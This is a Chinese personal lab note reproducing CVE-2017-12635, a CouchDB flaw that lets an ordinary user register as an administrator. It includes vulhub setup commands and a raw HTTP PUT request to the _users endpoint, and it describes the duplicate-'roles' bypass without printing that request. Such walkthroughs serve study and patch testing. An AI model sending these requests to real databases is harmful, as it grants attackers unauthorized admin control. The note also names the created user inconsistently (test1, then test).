#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
本文目录
CVE-2017-12635 垂直越权漏洞
CouchDB介绍
CouchDB(全称为Apache CouchDB)是一个开源的面向文档的数据库管理系统。它采用了基于文档的NoSQL模型,具有分布式、可扩展和高性能的特点。
以下是一些关键特点和优势:
文档存储:CouchDB以文档为核心,使用JSON格式存储数据。每个文档都有一个唯一的标识符(ID)和一个JSON格式的内容。这种存储方式使得数据的表示更加灵活和自由。
分布式架构:CouchDB支持水平扩展,可以在多个节点上分布数据,实现负载均衡和高可用性。分布式架构还能提供强大的数据复制和同步功能,确保数据的安全性和一致性。
强大的查询功能:CouchDB使用MapReduce来支持复杂的查询。您可以定义视图(Views),通过Map函数将文档转换为特定的键值对形式,然后使用Reduce函数对键值对进行聚合操作。这样就可以实现灵活的查询和分析。
支持实时更新:CouchDB使用B-tree索引结构和MVCC(多版本并发控制)机制,可以支持实时的写入和查询操作。这意味着您可以立即读取最新数据,而不需要等待索引的重建或锁定资源。
建立在Web技术上:CouchDB使用HTTP作为接口进行数据交互,并且提供了一个Web浏览器界面,使得开发人员和管理员可以方便地管理和操作数据库。
复现思路
由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。可用于非管理员用户赋予自身管理员身份权限。
在Erlang:
> jiffy:decode(“{“a”:”1″, “a”:”2″}”).
{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}
在JavaScript:
> JSON.parse(“{“a”:”1″, “a”: “2”}”)
{a: “2”}
对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值。但是在jiffy实现的时候,getter函数只返回第一个值。
本地环境搭建
- kali靶机
拉取镜像
cd vulhub/couchdb/CVE-2017-12635
docker-compose up -d
docker ps -a
访问http://192.168.61.131:5984/_utils/#login
出现以下页面,搭建成功。
这里不知道账户和密码,先发送一个PUT的数据包
PUT /_users/org.couchdb.user:test1 HTTP/1.1
Host: 192.168.61.131:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: AuthSession=
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "test1",
"roles": ["_admin"],
"password": "test1"
}
报错显示{"error":"forbidden","reason":"Only _admin may set roles"}
意思是只有_admin用户可以设置roles
发送包含两个roles的数据包来绕过限制
返回访问
输入用户:test 密码:test
登录成功。